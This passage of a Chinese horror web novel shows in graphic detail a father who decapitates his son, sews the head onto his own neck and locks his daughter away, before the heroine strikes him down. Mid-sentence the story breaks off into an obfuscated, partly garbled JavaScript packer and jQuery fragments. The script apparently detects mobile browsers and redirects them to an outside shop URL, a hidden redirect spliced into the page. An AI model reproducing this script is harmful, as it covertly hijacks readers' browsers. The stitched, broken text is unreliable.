切割的过程比想象中更艰难。
但他没有停下。
终于,那颗头颅与身体彻底分离。
他捧着它,拿起那把沾满血的斩骨刀,将刀尖抵在自己脖颈上。
鲜血顺着他的胸膛流下,与儿子的血混在一起,不分彼此。
他疼得眼前发黑,几乎晕厥。
但一想到即将到来的完整,一种扭曲的喜悦就支撑着他。
他在自己脖子上切开一个血淋淋的口子,然后将儿子头颅的断口按了上去。
皮肉接触的触感湿滑而恶心,但他不管不顾,开始笨拙地将两颗头缝合在一起。
一针,一针,又一针。
手里的针线有了某种神力。
它自由地穿过自己脖颈的皮肉,再穿过儿子头颅断面的软组织,拉紧,打结。
双手打颤,鲜血不断渗出。
但他看着镜中自己脖颈旁逐渐长出的第二个头,尽管它歪斜着,脸色死灰,他却愈发神采飞扬。
“很快、很快就好了。”
他喃喃自语,露出一个扭曲的笑容,“我们马上就完整了。”
房门缝隙后,钟柳不知何时醒了过来,她稚嫩的脸上没有一丝血色,眼睛瞪得极大。
钟达的动作顿住了。
他放下针线,摇摇晃晃地走向门口。
钟柳看着眼前这个令她感到无比陌生的父亲,心头涌起逃跑的冲动。
可她浑身无力,软如烂泥。
钟达粗暴地抓住她的胳膊,恶狠狠地盯着她,“你不能说出去,知道么?”
他将瘫软的钟柳拖向她的卧室。
“等你冷静了……等你明白爸爸是为了你们好,为了变得完整,你就知道了……”
他将她扔进房间,关上门,从外面落锁。
门内立刻传来拍门声和哭泣声。
“呕——”
梵希胃中翻涌,一阵干呕。
墙上老式挂钟的秒针,颤巍巍地挪动了三格。
短短三秒,幻痛还残留在脖颈。
钟达脖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17038133|194671||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
颈上那颗属于钟阳的头颅,正用怨毒至极的目光死死锁住她。
或者说,是她手中的烟灰缸。
“……钟阳,你是钟阳。”
梵希盯着他,确认了那段突然到来的记忆的真实性。
虽然不知道为什么她会突然冒出来这样一段记忆。
不过,恰好可以加以利用。
梵希:“你自己看看这个亲手杀了你的疯子。难道你还要帮他?你可真是个好孩子。”
钟阳的小脸瞬间扭曲。
他发出一声尖利的哀鸣。
“窝、我……”
梵希紧握在手的玻璃烟灰缸划破空气,狠狠砸去。
“我来帮你解脱吧!”
钟达向后一仰,瞳孔瞬间涣散,身躯晃了晃,重重砸在地上。
脖颈旁那颗小头也被抽走了所有力气,萎顿地歪向一边。
只剩下细微的呜咽,断断